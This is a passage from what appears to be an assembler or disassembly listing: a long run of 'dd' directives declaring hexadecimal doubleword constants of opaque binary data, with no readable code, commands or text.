83B63BA3h dd 42F69F02h, 79ED0B50h, 18227928h, 7E6D074Eh, 59BE2039h dd 1F330018h, 0E7689D00h, 0FE5FB25Bh, 81E61FC3h, 66E174Fh dd 99D61550h, 2D4E8000h, 0EE8D32A6h, 0E5B0EFAh, 8CC43B09h dd 30D88407h, 0BDB2CBC0h, 0D41A8F00h, 6EF45879h, 99611BA3h dd 0C923A03Bh, 0CB60017Ah, 186AB524h, 68FA8826h, 3B8DCB03h dd 0EA678582h, 53C4C0DAh, 0C3B82750h, 24A3482h, 448324C2h dd 34E38AD5h, 6949E978h, 19E380ACh, 87E05272h, 19EB8538h dd 548158F6h, 0D073D084h, 95C8C10h, 982BA008h, 29079D8h dd 8010BC19h, 70786D87h, 0C076E8C8h, 0B528CB64h, 81D84A53h dd 0D7CB6CF6h, 4071EF4h, 0E5F9FF68h, 2A1240DBh, 1FD3B4D0h dd 0C5E141h, 843FFBFFh, 0C8FD4A3Bh, 5C260BB5h, 0A1107CCFh dd 0E6A27C42h, 79A830h, 90E47A40h, 1011611Eh, 0E9DE1530h dd 0E037BC48h, 0F15E13C7h, 8042CBDh, 56E89C86h, 0DB1D3946h dd 0C8B250Ch, 235D5C80h, 724B69E4h, 0A04B1413h, 6088925Bh dd 0B0679C9Ch, 6EE22494h, 388747E4h, 2BB52982h, 1B058A8h dd 1F08BC8Dh, 229DFB5Eh, 95CB3DECh, 0C435B3h, 0CF52588Ah dd 1837F47Ah, 799685A7h, 528A0A46h, 4D3F1B5Ch, 0B8693936h dd 0AC644990h, 0ABBC0428h, 74EA018Ch, 23A1526Ch, 0FE38202Bh dd 1100F099h, 4CAA9FF0h, 6F2A0007h, 0F4B45D6h, 587ED0CBh dd 52290160h, 244AB0ADh, 3E5BFB89h, 11D29400h, 0CB9D29D9h dd 0CFC1F094h, 0E0389A0Fh, 0C8C29BCh, 5FF2E49h, 9D005E79h dd 0FCCE5032h, 2C25DB18h, 7CA0F8CCh, 6700DE46h, 0A4049CCAh dd 0D504FF3Ah, 0A3B15603h, 969DB081h, 18CEC042h, 41C0D9E5h dd 0B2B45A6h, 0D8EA00A2h, 1D5AA480h, 0FF09B6DFh, 98FA3E2Ch dd 0BC6470h, 0BD2EC163h, 813B19DCh, 9247393Fh, 2C302FA8h dd 0B4F7B9C7h, 3A741308h, 8C79C8h, 0A45BA0D7h, 885FF190h dd 0A2C87B2Dh, 0B3A2FA0h, 0DF880C0Fh, 24083C24h, 65330B32h dd 3491B017h, 0BD406480h, 0E44C1D29h, 4C338168h, 22D47AC7h dd 4D1BF65Fh, 3858A43Dh, 20412437h, 0D68B7D8h, 0C2F10D7h dd 4200A323h, 98E9EE9Ch, 1E7B0067h, 0D86F0608h, 6600E17Fh dd 6DA15D82h, 94699C59h, 35BA40A0h, 4D00B70Ah, 2F744E8Ch dd 0E6DCEB3h, 10F9C19h, 0F2BF9F04h, 3AB0008h, 2FD791C4h dd 4109952h, 0C2AC2A75h, 0B222DCE4h, 0D3C8A031h, 35DE908h dd 41A815F5h, 1BC247BBh, 0C41FF42h, 0BC4068D0h, 28FA8CAEh dd 4F09D771h, 4153D050h, 5021596Ch, 14262421h, 10926049h dd 0C5A71070h, 20681254h, 2CB27C74h, 0BCC9CBh, 7324692Dh dd 5A662FD8h, 3B014376h, 0AC222955h, 0ABA25C73h, 0BBBC4030h dd 0B0172708h, 0FE8F2391h, 0A96B8A00h, 0DF7CC589h, 0F49871F6h dd 74054884h, 4B5FE48Ch, 8600A4CEh, 4AEF8C7Ch, 0F4BCD9AEh dd 0D15F8560h, 130898DFh, 0D16DD347h, 9F33B200h, 0FD805989h dd 0A68334BDh, 30570497h, 3A50BE7Fh, 9101AF23h, 0BDABEF55h dd 5286130h, 4782543Fh, 0B324E0D9h, 294320h, 7CFC024Bh dd 0B17DD854h, 0C806BB03h, 0F4A16D17h, 1240B49Ch, 483962Eh dd 0B37CB2E0h, 0FCC50CC8h, 7C60D9CDh, 25825EB3h, 9B2F0068h dd 99DDC2CEh, 88E71600h, 0C38978CCh, 3F4006Eh, 75FD1069h dd 9B008390h, 0A45A06CBh, 0ECD8950h, 0E5517154h, 70D6680h dd 0F2766D2Fh, 4A649A0Fh, 87C90305h, 0A8BDE37Ch, 3E1D45h dd 0CBB59815h, 0EF9C5A1Eh, 0C1F94B00h, 55FDCE6Bh, 43185C7Ah dd 0CC519600h, 9B16C324h, 599ED901h, 5C3FCEC9h, 0E51EAC6Dh dd 0FC60B27h, 582B8C81h, 8122AF5h, 4A00746Eh, 28AD395Ah dd 552D8624h, 428C0BA7h, 0D934F9E4h, 70791837h, 0E854013Bh dd 9BA153ECh, 0D9C8302Ch, 93D4894Ch, 0C0687008h, 527519E2h dd 0E322E846h, 19EA0B00h, 0C20F7588h, 0E9DC0444h, 0A0FFB1B7h dd 71E4F468h, 0AD794099h, 0D3023D18h, 2D05178Eh, 0F09C636Fh dd 594D560Bh, 7C139CD6h, 0C88C8BA1h, 5709CEDEh, 0DAE4D482h dd 0B2D03627h, 0A06C25h, 11799099h, 4828D6F9h, 24EF0E07h dd 0AB13D1E4h, 9CD85837h dd 60445E25h, 0DCFD4F10h, 0AE77D07h, 0DC2069B2h, 0E31CFE21h dd 0D27C1B0Eh, 0C8CA6067h, 22AE1Dh, 91BEAC73h, 0A5DD5E5Dh dd 5B3B40C7h, 0F417D0B5h, 35C8E0CBh, 0C0990ECEh, 0B26D1478h dd 189D339h, 0F9A25C28h, 0DD56D02Ch, 5170AA62h, 0E4AC6571h dd 8D1B61A2h, 0D71D9A8Fh, 66979020h, 5637F83h, 7DDF14C9h dd 0BC520F31h, 9CE07BD6h, 17B051C4h, 230558B4h, 0F8C8FF9Dh dd 0B14A0073h, 8AD47B35h, 8F091945h, 0A5B92E8Dh, 0E8982834h dd 5B0F423Dh, 0A323702Bh, 0BBB6E900h, 24B06DDh, 64E05317h dd 70C41A19h, 5C986898h, 70A688BBh, 1B4B1023h, 84D294B4h dd 400856BEh, 575A5C42h, 0BF6D0B3Bh, 2296032Eh, 0A8CBA090h dd 9C9E196Ch, 61CF96E4h, 7C5D2F5Ch, 6D179DD8h, 0ACC8B0CBh dd 0EB4B90C0h, 803458B3h, 0DA5EE180h, 3710EDA6h, 9C763B31h dd 0EA4C41E8h, 0F33AE0BBh, 160B43Ah, 0D531996Ch, 0D993D288h dd 0D0504829h, 0C0496D12h, 0E4984530h, 539A60DDh, 13B85E41h dd 0D2788C10h, 21A3B918h, 25881C18h, 0D0C0CBD3h, 48715C77h dd 948460B0h, 0C4209B95h, 23782F57h, 6B013A24h, 2F7F417Dh dd 4FC2259h, 0B2355E25h, 3D550C1Fh, 0B1486C19h, 0CBD080BCh dd 5BAF9698h, 5C2C006Fh, 0DF9D2BEAh, 0D1478119h, 0C8428BC0h dd 0B6FE8485h, 48CF8D4h, 3D140615h, 10F4E803h, 389B6300h dd 9C8B0BCBh, 878925C7h, 1441C021h, 6670325h, 0E003B34Ah dd 660038E6h, 0D780754h, 99B7E556h, 71A0A900h, 263618ABh dd 1DCC6CB7h, 2C4A1207h, 0D40D2D0h, 190760FFh, 2A92167Ah dd 0EE3E0E12h, 0AFD87805h, 90003C12h, 7369D478h, 7C18BC2Ah dd 6E16DF46h, 0A878849Bh, 8CA0ECC0h, 0F217AC00h, 853DE453h dd 0FF2B44B3h, 69002E76h, 11FADB8h, 108F98h, 0A5B14DF6h dd 0B564E927h, 0D244F0B8h, 60BE48D5h, 0A827A1C7h, 7C6F5600h dd 958AD5FFh, 12626C1Ah, 7302DC46h, 2DA74FFBh, 709C5B56h dd 24178C86h, 0F212ADAFh, 2B35F4D1h, 0DC2E26EFh, 7C9CC034h dd 0AB2DA38Dh, 0BE540486h, 0E0859D0Bh, 0C810CB34h, 0E54CC0E6h dd 2A004DAEh, 0D9FAD5FBh, 90F004FEh, 3A28D3D1h, 372374h dd 0E9965321h, 51223FC2h, 49C0231h, 0AFBB1C47h, 0A799CCC0h dd 0E8C2C1CCh, 28293CF9h, 80500907h, 60616B33h, 5A99219Ch dd 0C0E3883Ch, 235CD6D5h, 66E4E101h, 3CFF0F7Bh, 44FE4C42h dd 0DA010084h, 0CAD76A83h, 0D0165FEBh, 8841D92Fh, 0CC205BDBh dd 61C1A434h, 0A15290B0h, 2C032FD7h, 0DDE3885Fh, 0E6B2B8E3h dd 0E42130h, 0CB0EA126h, 74C25434h, 80D60417h, 20B11C88h dd 7A133027h, 0A064EF85h, 13A0A0A6h, 0E600EF45h, 0D5BC4363h dd 95AC41FBh, 18ADC25h, 3A1CA3Ch, 8853003Eh, 0BBAD12EFh dd 5884C806h, 0D6008CE2h, 2D558236h, 4CEF2F73h, 25048453h dd 0F8D5B97Eh, 0A401030h, 0D4834A78h, 0DFB8A80Ch, 0CCA8C0Ah dd 0BF81B510h, 2B2FD3D9h, 0FF639C06h, 71C60019h, 0BDA5114Ah dd 20036EFh, 0A8C82097h, 4E4D878Bh, 2BC9489h, 0CE7B9AAh dd 54C254CAh, 0EDDAE843h, 1378C606h, 0C073B9C5h, 0C3F2958h dd 0D943BA12h, 50A7C84Eh, 2084EC28h, 190B8359h, 200C2C3Fh dd 308E8B0Ch, 546C0667h, 0A906FF76h, 226173Eh, 2F145738h dd 47BC565Ch, 8853852Ah, 86100D60h, 40ABC29h, 3A34D854h dd 0DCC4BDA7h, 0A1878108h, 0BB503B3h, 8014DA74h, 10A4088Ch dd 0B1883F88h, 0DB0D544Ah, 0D6C0E133h, 445CBEBFh, 34A831B6h dd 7B1C6B2Ah, 7481904Bh, 9107D2A3h, 0F82B017Ah, 0E52567C7h dd 34CC8475h, 0EEAC6CE9h, 1C20AB5Eh, 599AD67h, 6314A3B1h dd 0DE901344h, 0C42B8128h, 0E7E427C5h, 757714D0h, 0B10BE4B9h dd 986129FFh, 83B51005h, 168F8B4h, 861EF684h, 4298194Ah dd 45152E8h, 8218A079h, 2907857Eh, 0C1591291h, 3821D436h dd 6300B664h, 0AB49412Bh, 810BDD79h, 4AD4F6E7h, 7914596Ch dd 176818E0h, 0B9B04BBh, 40A9A9CCh, 0A8BCA872h, 320465Eh dd 1E83881h, 0FE44E01Ah, 53B50B03h, 6C21DD50h, 0AC974D57h dd 0DEFC68h, 0F23F8C84h, 0D403B5EBh, 0F32CC9Ah, 307C50ABh dd 2216CB6Eh, 9CCB9AB5h, 0CB96FC00h, 0B2A1625Eh, 0BBDD35Ch dd 430ED73h, 2640CA34h, 5C7FF3BDh, 83240498h, 0B542344Dh dd 2C106C5Bh, 3E645727h, 41D75918h, 7C0BFC71h, 12513E1Ah dd 58C541F4h, 250D1834h, 30021966h, 0F85CFF9Ch, 0E8F8D880h dd 0EA518Eh, 8F8BA1BDh, 5E5D463Fh, 48AF992Dh, 445FB474h dd 48CEDD9h, 85607B22h, 0B06CB816h, 57B1A4Dh, 937B51Dh dd 5CA9F0h, 6746A6DFh, 2756A0Fh, 0ADC89FE6h, 0F8667A96h dd 857D6600h, 9A87DD47h, 0CB4F0477h, 0C5CDD845h, 609C983Ch dd 1A197425h, 0C244D1C4h, 0D01A0C58h, 40DA42ACh, 101FCC3Ch dd 78832B6Bh, 90D39388h, 6B3F2D25h, 10EF408Ch, 0D9782842h dd 14C3027Ch, 0E05707E3h, 66FFEDh, 6286D702h, 3D654E09h dd 0F2F82B14h, 52680CE0h, 53C39D9h, 0ED878366h, 0BDD000ACh dd 76587DECh, 560B6DE2h, 5B6DFB9h, 0F0F36654h, 852C305Bh dd 0B05DE987h, 6F5F0B90h, 28E4CAh, 0EA20A3FCh, 711EB41Fh dd 406AE400h, 9A63D516h, 905C5A76h, 0B4D87F4Ch, 4F4CD254h dd 0D4E120h, 0BB160596h, 471C7E9Dh, 7F12670Bh, 3A88841Bh dd 0DA01340h, 0C107CE0Ch, 0E752C93h, 0C079E3F2h, 9332683h dd 836E555h, 4688A051h, 0D418690Ch, 4A04164Dh, 0D574EF53h dd 0B8BDCCE4h, 60300A4h, 3CC25AF7h, 0EF6B440Ch, 709453C0h dd 607E4D0h, 4CC50543h, 0B20B15F1h, 2538403Fh, 59A27DA6h dd 90080F2h, 9C195FBDh, 4470327h, 0F7343B5Eh, 0D1AC830Fh dd 33233ECCh, 0DEEF81Ch, 6FFD6027h, 0FBD916D8h, 2FBC4036h dd 0B22A1D0Dh, 0C1F8F550h, 0BC40BA45h, 2D53359Ah, 6484F084h dd 0FA849040h, 44B2CC41h, 0AB625493h, 554F215Fh, 5B10748Ah dd 9BB5ACA4h, 8181008h, 47A1C8E6h, 0C61F4870h, 893508h dd 0F881D3Ch, 6CB9BBBFh, 6C600C12h, 0A0828A5Fh, 606CB48h dd 9FB9FBCAh, 661EB85Ah, 78284E05h, 6E84E4F1h, 1A9C8748h dd 0C619B631h, 0EAC081E4h, 7B092318h, 9C1E8561h, 1B4A036Ch dd 96FF417Bh, 0BECC822h, 0C6395868h, 0D0D9109Ah, 0B818AA59h dd 0C7D85F0Bh, 24DC5822h, 7454DB78h, 0A0003046h, 943E79D7h dd 26172ECEh, 0C0086C64h, 0D7519DDCh, 82F0C54Fh, 0A0A00B40h dd 0BBB26D67h, 9742C9DEh, 48E71F7Ah, 17C2008h, 60F1058Dh dd 0A8944E3Fh, 4A7C3829h, 66EE3B1Dh, 4996C340h, 0A06DB9D8h dd 58417238h, 0E51FBC3Bh, 0CC2EFAB3h, 1F300FC4h, 542C811Fh dd 300BA28Bh, 3DE8A6F5h, 4D1008C2h, 547C4075h, 30DDE0h dd 0ED78D927h, 0CEFA59DCh, 88D8B20Eh, 52DE408Ah, 0CFE89CCh dd 0C9130B4Bh, 6F00E611h, 0D7D61D9Ah, 0FE512FCEh, 7CB44Fh dd 72649FE5h, 1812E322h, 2C04C907h, 24A0BBE4h, 586CFD55h dd 31BD4880h, 0FDE02AE0h, 2412BE01h, 0B3C3C46Dh, 51E4839h dd 4A0A81D9h, 0EC44420Bh, 7412538Ch, 14B260A9h, 0C29BB900h dd 0D8CACFCEh, 0A08C8D0Ah, 4792A876h, 0B5C08027h, 3F1E358Ah dd 44D44FAh, 0B15AC509h, 5F393C90h, 801B7D3Ch, 7F271358h dd 1EEE3FF6h, 0C1DB6EB9h, 0C54ED838h, 0F002212h, 8003B307h dd 0BD2875F2h, 616C161Dh, 809C0077h, 0E1C75873h, 633A5300h dd 5904D787h, 0CDBD172Eh, 0D26F0B4Ah, 9F1300Fh, 8477B647h dd 34B4503Ch, 0E9496F3Fh dd 0FE519600h, 0D800AF2Bh, 9F124B10h, 6032E8DDh, 37F8F8CEh dd 9602D331h, 1CECE347h, 0B530409Fh, 80F4FC5h, 0C833B80h dd 0C8F5A4D9h, 0BEF162h, 2A466A76h, 65BB9E74h, 8F79A371h dd 0E520FB00h, 73DF5A6Fh, 0FC20094h, 19F0F317h, 0D6F83413h dd 372419C0h, 7E2C862h, 1859EC43h, 0C31D30FBh, 0A30785EAh dd 0E693DA8Ch, 7154EF0h, 381167D7h, 0C567C0C0h, 0F800D669h dd 83F3B801h, 79B67146h, 7265333Ah, 0B0E0E228h, 0A5005E8Ch dd 19187C33h, 5C12D15h, 384235F4h, 0DF61C14Ah, 935BF09Fh dd 0CF88ED00h, 43ABEAC0h, 0C9A50738h, 0B019BE04h, 46EBB56Bh dd 290713F8h, 0F58B552Ch, 2D2FC4E0h, 0D55D305Eh, 314345D9h dd 47347A0Bh, 0F3A50181h, 6C70AD17h, 5EE801EBh, 0D9A52474h dd 73A98FF7h, 48C021CEh, 5880A22Fh, 0F4D9C3BBh, 290049EAh dd 0B919B9Eh, 0E04AADF8h, 50863F70h, 0FFD0B183h, 39A1E5F6h dd 0F81188E2h, 0E6EAC09Ah, 0D4442486h, 84E518EBh, 43994155h dd 4F0D12Bh, 241B6A06h, 0A63A1810h, 0F2ED19F1h, 8ED09D06h dd 313E71h, 0FB3C6FE3h, 95DD54BCh, 0DCE5C41Dh, 1212718h dd 0E03C0C77h, 8C445789h, 2AD9C600h, 447E640Bh, 0FE852AABh dd 3935673Ch, 52AC8095h, 0A01FB4B9h, 7BBCDA41h, 1D01F900h dd 44CCD717h, 8F90C8D0h, 0F83C6CC0h, 224C46BCh, 74020330h dd 0C9BA493Ch, 0FD0079F6h, 92EFF95Bh, 0C5954Fh, 0DFAB29B4h dd 0DD1C7D2Fh, 463D8CA8h, 0BF722600h, 0C9EF7868h, 0CF910132h dd 0F05190Eh, 3BCDE047h, 301A713Ch, 0E57D7042h, 0B38100F6h dd 8AC3ADEFh, 3100A1F1h, 28CE3839h, 1673BDFh, 0D8A4162Dh dd 0F8710F7Ah, 6CA58FDEh, 66031C4h, 9F0362ABh, 0F42976D3h dd 0C791C815h, 0D099310Eh, 80211C28h, 7A265DD1h, 0FB0377Ch dd 50BF9309h, 4BCA8100h, 5A15EBE4h, 77D0AF36h, 1970430Eh dd 390E9094h, 0BE060EDh, 12FC85E7h, 3608FF66h, 0F55400F9h dd 0AB14B160h, 0C9B85EC8h, 0A930A101h, 8F78DFA3h, 6CDB498Eh dd 0C7037627h, 189386C9h, 406B9018h, 382B4D9h, 0DC1DB674h dd 39019547h, 92F45288h, 29BEBC89h, 9D7CD900h, 4F7DDC39h dd 10F989C9h, 814364h, 44D0A59Eh, 11B6E1EAh, 0B8F28A00h dd 0E0BD230Dh, 929A0427h, 90FCC9F3h, 7EC1D00Ch, 4E7A7903h dd 307125DEh, 0B021C909h, 18028549h, 37049DA6h, 2D77C0A1h dd 0DC20C6F2h, 0F07CD144h, 9C8BF3Eh, 2A76C088h, 901814A8h dd 3C98FE21h, 1F00AD3Fh, 48079208h, 2F01490Bh, 0C4F17B40h dd 0C980201Bh, 0E6D48BB1h, 2E0794A6h, 35BD4E3Eh, 0B21B746h dd 68D483E0h, 0A66A5187h, 28A118CEh, 4761881h, 9CBCFA3Ch dd 212D32DCh, 0CC339E04h, 0C901923Fh, 73B28B97h, 0B043DE9Dh dd 0CB950B3h, 0E9028C74h, 870B9060h, 123C1984h, 0B663E050h dd 22880FA9h, 96C5CE35h, 0DCE40890h, 0B0F8C68Ah, 21F39187h dd 0DD07073Eh, 319C5C6h, 0C8B39020h, 5DD00E66h, 1373E48Bh dd 639C9150h, 2FF4686h, 0A6E9D596h, 10AA316Ch, 7D48EE7h dd 271811A8h, 4DA0EF46h, 0F091D532h, 340021F0h, 92107E15h dd 247F4F2h, 6F30B137h, 80A38A1Ah, 0DCE845F8h, 4D010A9Dh dd 0C9A44409h, 6C24924Ch, 0E520089h, 2EC7762Ah, 0BE2EF2D2h dd 0C009A4C8h, 0B83C2C79h, 8A028CC3h, 8CA6EDD4h, 10B61935h dd 0D482E3h, 7CC6B72Fh, 13C78BF7h, 3AE43754h, 9CFF5B2Ah dd 0A9DF0490h, 3B107C24h, 0A3CEF6C8h, 0DA7A687Eh, 10D519DFh dd 7EC4B3h, 0F2A73B1Fh, 3EE30FC7h, 89460E06h, 0A399ADC0h dd 0FC4685D8h, 79346Ah, 0F69D3D63h, 782A37D6h, 362C6277h dd 0A90050FEh, 35A6C2D9h, 913C997Fh, 60EC8073h, 8CEF0A8Bh dd 3D533F44h, 0E8A660F4h, 887D0834h, 813C6A8Ch, 0F4590084h dd 6D383785h, 0D90910ECh, 1B7B069Fh, 0B2DFF03Ch, 0DCE60657h dd 88F38570h, 0E8017746h, 8F0B9760h, 4F390B84h, 8AC6600Bh dd 2732405h, 0A032F944h, 0C729B4C4h, 26C806h, 32D9FB01h dd 182534A2h, 30F1CC02h, 6F117EF7h, 0CF881E7Ah, 7EFFBE86h dd 0B2BB2654h, 373A13B4h, 94808884h, 346DCD96h, 597800F3h dd 0E0BA194Dh, 0FB1387BCh, 40001FBDh, 2E57E550h, 44D62840h dd 4C3158F1h, 88F22850h, 321884F4h, 1911C658h, 0B2D1C08Dh dd 94939F7Ch, 91DE5602h, 0C046A3C2h, 0C0261BD8h, 7115E489h dd 6300BC2Ch, 90B53A21h, 0FC6EE6F3h, 0E4B8A5ECh, 620603Bh dd 18AD0388h, 0C7C62C65h, 0B1B29900h, 4E82D54Ah, 49FE3825h dd 0C69F9C00h, 84CE32E3h, 0BC083524h, 811AA13Eh, 0A6EBD488h dd 88B418BCh, 0D4028091h, 0DF076E0Ch, 44D467EDh, 907160B4h dd 1C8F2C0Fh, 0D2394054h, 0EC00CBFFh, 63BEDBFDh, 62B988DDh dd 45DC2128h, 0A4F98C90h, 0E47A460Ch, 8CFE8007h, 0E8D59504h dd 0B56264A6h, 0D48DE220h, 8454B352h, 8EC11F85h, 0C00588BCh dd 0CEC6899Eh, 9FCD61C0h, 9022950Bh, 1F44664h, 7A767EFAh dd 3032DE46h, 7EC2B1C0h, 0B50006C6h, 6BB768AAh, 4EBF91h dd 0DBEBC4F2h, 926D8BFBh, 0C63FC713h, 784A7020h, 0B9C50F81h dd 44890BA3h, 510BA429h, 0DA1C2CA3h, 244CA100h, 0A1235B5Ah dd 19C71C60h, 4DA43978h, 0D8A3C178h, 166C221Ah, 9501AD40h dd 164D2B05h, 73152070h, 621981BDh, 1D0F0004h, 0C6DFB7Fh dd 288861CFh, 4C0BDA5h, 0C823883Ah, 1ED40138h, 71AD5CBh dd 0F753029h, 718E746Eh, 6979DF80h, 3800EA1Dh, 987FF1C8h dd 401CC82h, 85BA1F5h, 14A480DFh, 0A913A416h, 0B43F447Dh dd 1B003E23h, 0C06E0648h, 99394010h, 0C8C8A329h, 34098120h dd 8C7193Ch, 7508ACECh, 41442E39h, 0E04E9F48h, 0C301C455h dd 0A6E4BCD7h, 0F8CC3533h, 0C0600C30h, 3A612C0Eh, 30CC5122h dd 0CFB18B19h, 2D00EE48h, 0C2684A25h, 585E15Ah, 709A4DC1h dd 23B82F9Bh, 9D9000CAh, 773B3ACCh, 0AC5461Fh, 2CE0B954h dd 4108D8F0h, 38CD04F1h, 0CA18880Eh, 4518CE69h, 6030E494h dd 170AD6Ch, 587F5937h, 803371D0h, 0F1DD7421h, 4CF787h dd 5CDF5AA0h, 5B8A91D9h, 49810500h, 0E807A33Ch, 2A50B86Ch dd 0B0B31Bh, 0D7723EC2h, 32A947C5h, 2C0010F0h, 5117C9BDh dd 94707EE4h, 480E40B8h, 681EF2FFh, 60EE446Ch, 348CAE15h dd 0A4605A9Ah, 106C7EF8h, 0C8DF167Ah, 0C0BF81CEh, 20B9FC7Eh dd 0C26EC611h, 588B0719h, 0E3275B90h, 87AE3C49h, 1F4A8E81h dd 3113A864h, 439180CDh, 0CAE130D8h, 8661055Ah, 0D20B0ABEh dd 0CC44295Ch, 8290AF01h, 580D1EB9h, 2ABDE8D3h, 0AB29C00Fh dd 0CE4CCFC1h, 7804D798h, 1B469103h, 0A5BC7CC0h, 7E29DE02h dd 44D1BE1Fh, 0E25BA4CEh, 37C82550h, 53F400A0h, 9197DF80h dd 9819BD26h, 4B24CC40h, 4EBE58EBh, 656FD300h, 70D6C2ABh dd 0F9B39C04h, 8CE4C9A3h, 2CA60293h, 0C389EE04h, 1A6E8C90h dd 0D7510167h, 8850B250h, 0D85F00F7h, 4DCBA674h, 3F728E28h dd 0F3DCF10Eh, 10B64191h, 3982211Ah, 979D9A09h, 5843946Bh dd 306AAC04h, 87102586h, 7800AE21h, 0E54B0675h, 30F28EF9h dd 931E616Ch, 2077F33h, 980153A3h, 0A80EDA23h, 52A8AFh dd 0C6425C86h, 0D0964129h, 17150900h, 3394BEDh, 0E5500BEh dd 6AAA258Ah, 7C000B7Fh, 17AFF396h, 0F9E1D87h, 637D60D6h dd 523AFEE0h, 0EF3ABA3Bh, 0AE5B8784h, 0D2107E16h, 0CA30FDh dd 326569E3h, 0DE3C1DE1h, 0D17ABD00h, 620D24F7h, 0F4E20035h dd 0D64EAB0Bh, 0CD00F302h dd 0D1EABCE4h, 0D439C2h, 43D7E2BFh, 34B92A61h, 4AC7F101h dd 0EB8A8CACh, 4CCFA5D0h, 0D71C526Ah, 2F1C0086h, 94FF4F5Eh dd 3878C400h, 15C9FCBh, 51BE0075h, 0A50D2703h, 19C03D07h dd 0F2D9A8Eh, 0AFE400DDh, 0C3EC4F5Bh, 4C9A5438h, 8F6FB200h dd 8794C6CDh, 0BF8B00CEh, 0EFABE9B4h, 0D018661Ch, 1818482h dd 0C9AE000Dh, 0F4E4CC20h, 13FE89A3h, 0BFE08C54h, 0E0C8543Fh dd 0D0ECB221h, 8E680036h, 29F58302h, 0AA00882Dh, 920C0850h dd 45314Eh, 0E1E81718h, 3A7A36DAh, 0C6A9F418h, 0C9D5388h dd 0CD4F56DEh, 3703A810h, 341D2E61h, 21E49897h, 7A5200A3h dd 0E7D6239Dh, 96000B70h, 0B4355F1Ah, 1D56015Bh, 43154DB5h dd 0C6A24265h, 63773A0h, 0F5B97707h, 59A0D6BAh, 150A853h dd 0B23EA210h, 85AC0C76h, 3A947340h, 0DF80A184h, 5523E0h dd 0F16D1685h, 0CA42495Ah, 8A032B79h, 0BF46481Eh, 2909F8C3h dd 1CA60060h, 0DB62D569h, 3C0257FFh, 8A15805Dh, 0AC724051h dd 67680086h, 9C71E620h, 40FEBA93h, 92B3E203h, 0D00FFC99h dd 0FF0746h, 4AE08D08h, 7BAD3738h, 1EBEB800h, 40A8E8A2h dd 3DBF1CABh, 0A0540059h, 0E03F4DF1h, 790BFC00h, 0A7DB6DFDh dd 0E728C090h, 0A5E5A155h, 3822C003h, 252EB333h, 9140DE88h dd 40036A4h, 7488E621h, 3BC1681h, 0B445C142h, 48F0E32Ah dd 0A671AE09h, 0B0F7133Ah, 2211A8E9h, 0B340009Ch, 4FA4A5D7h dd 900060F3h, 1966E1D4h, 396DCFCCh, 628020E2h, 73F563E3h dd 0B030479h, 0F7F6B8D6h, 20580010h, 5E0A7582h, 0B91467A9h dd 394873Ch, 5FE3762Eh, 0F1590E9h, 9A4B07B1h, 40A6108Ch dd 43678688h, 0EA01C1Dh, 0DC6EFC42h, 28C839Eh, 131BA03Ch dd 0ECAB0774h, 80E35144h, 0F591AFC7h, 9ED21200h, 0D48075CBh dd 9CEB183Eh, 7D482892h, 80A1053Eh, 0A8D2604Ch, 4FD82Bh dd 0B9F8E68Dh, 0B43BA025h, 5501CDF6h, 0CADB682Fh, 22F0C07Dh dd 9F440390h, 2E777FE7h, 0F3C7D3D8h, 67DDF524h, 0C4118900h dd 0F6CD26h, 0FDAE30B0h, 381FFA8Ah, 7A78BA0Eh, 2CACE0A7h dd 3D8F6ECCh, 960F8115h, 600744F8h, 0C91260EAh, 0FE0005BAh dd 0CEF7F36Fh, 3C4C2Fh, 652E92A9h, 1395453Eh, 80F9603Bh dd 0B6691E3h, 8CFAFBh, 112256D4h, 0E24362EEh, 49C3C131h dd 51F83220h, 85A8CFE0h, 0B849B4C3h, 0B6B68F8h, 8F03CB00h dd 6A09F7B5h, 2A8F273h, 453A043Ch, 284034D0h, 381D8E2Ch dd 61008CB2h, 8A79F6B1h, 93C20E22h, 84A1BBD1h, 0C86FFB68h dd 0D57BB280h, 0A8C03900h, 0E9206305h, 244E3AD9h, 0C75A788Fh dd 6D40BECEh, 0C9DC8212h, 8A1E8400h, 87D8D619h, 1710004Dh dd 0F3707DB3h, 9D00E60Eh, 6CDBA371h, 1A20F1h, 285EB741h dd 0A546CB5Dh, 905E518h, 3E93D431h, 5202EA6Fh, 9BF1FA38h dd 0D6863840h, 0E756AF12h, 0DA576700h, 0BB78E6h, 71201528h dd 7D749803h, 0CC018C00h, 1E1775DEh, 0B8E91214h, 8EFC0059h dd 130FEAF7h, 15FB1900h, 9010858Fh, 9AEA77h, 4171D8D1h dd 9491CACEh, 1483449h, 0EF69AD40h, 1FD450D5h, 0B8DB09BDh dd 8427C12Ch, 971B001Eh, 0BE248A81h, 0D809CECh, 9AB8E8ABh dd 4AEC15h, 0AD0F5A6Dh, 51243EC6h, 8296070Fh, 173DC3FEh dd 0E502E019h, 4088A0DEh, 0FD040075h, 0B24270F6h, 74006007h dd 0AF1F26A5h, 3C5C15h, 0BDA9E1B9h, 0BA6F327h, 0BF544128h dd 0F6675D00h, 0FD922498h, 3BA12AFh, 0E3240096h, 8E1280C5h dd 54AD1400h, 9D9FD0B2h, 35531E44h, 0ED39C0D1h, 0B51319DCh dd 0C93724h, 22E65A00h, 4EEC1Ch, 8389BA7Bh, 72AB2BACh dd 7AB0B503h, 7115036h, 0BE3E7DB8h, 0D343CE3Ah, 33D022B8h dd 3BF6AB70h, 80F9A83Ah, 770FB6FEh, 3C9ED7CBh, 0E837A49h dd 0F75E3359h, 0B6424CD0h, 26000976h, 0F908D9C0h, 7039606h dd 0DC9520C3h, 1A12E0DAh, 0A1784EACh, 3604531Fh, 1FFE349Fh dd 0AF40F023h, 0C056E259h, 0CCE90142h, 720DB8A0h, 1A2CC821h dd 25491200h, 6B8FCEA9h, 5B450E66h, 19400F62h, 0F567DC94h dd 6852707h, 7B005D46h, 0F4A016h, 0D5C7C990h, 0C40F35DFh dd 57BA2000h, 5F764B14h, 28D3006Ah, 4A599D46h, 0CD0071F4h dd 1D42693Bh, 79511ABh, 6F025C51h, 0E7DED0BCh, 0E00071BFh dd 0AF52E972h, 0DD7008h, 0C8EC2B4Bh, 74449781h, 9459C900h dd 87A0C40Eh, 0F68B00EDh, 8C95E79Eh, 6648E680h, 3AE10085h dd 35BD1D6Ah, 0B231EACAh, 0BA210F68h, 0B60CEE7h, 0FC6C2370h dd 96780C00h, 0CCC8DA65h, 1461001Fh, 6AAFCB79h, 4B72BAA9h dd 1B69D500h, 0ACDD100Ah, 8AF657h, 0FF88C0FBh, 8278E974h dd 0DCA08092h, 1A07B564h, 0ABCCBB4h, 831FEA40h, 0D2AB1DD1h dd 893E1F34h, 0E42054BDh, 53756D7h, 8A83AC07h, 96405BFFh dd 30854979h, 0B1180138h, 0B31854C2h, 77507AB9h, 0AF020382h dd 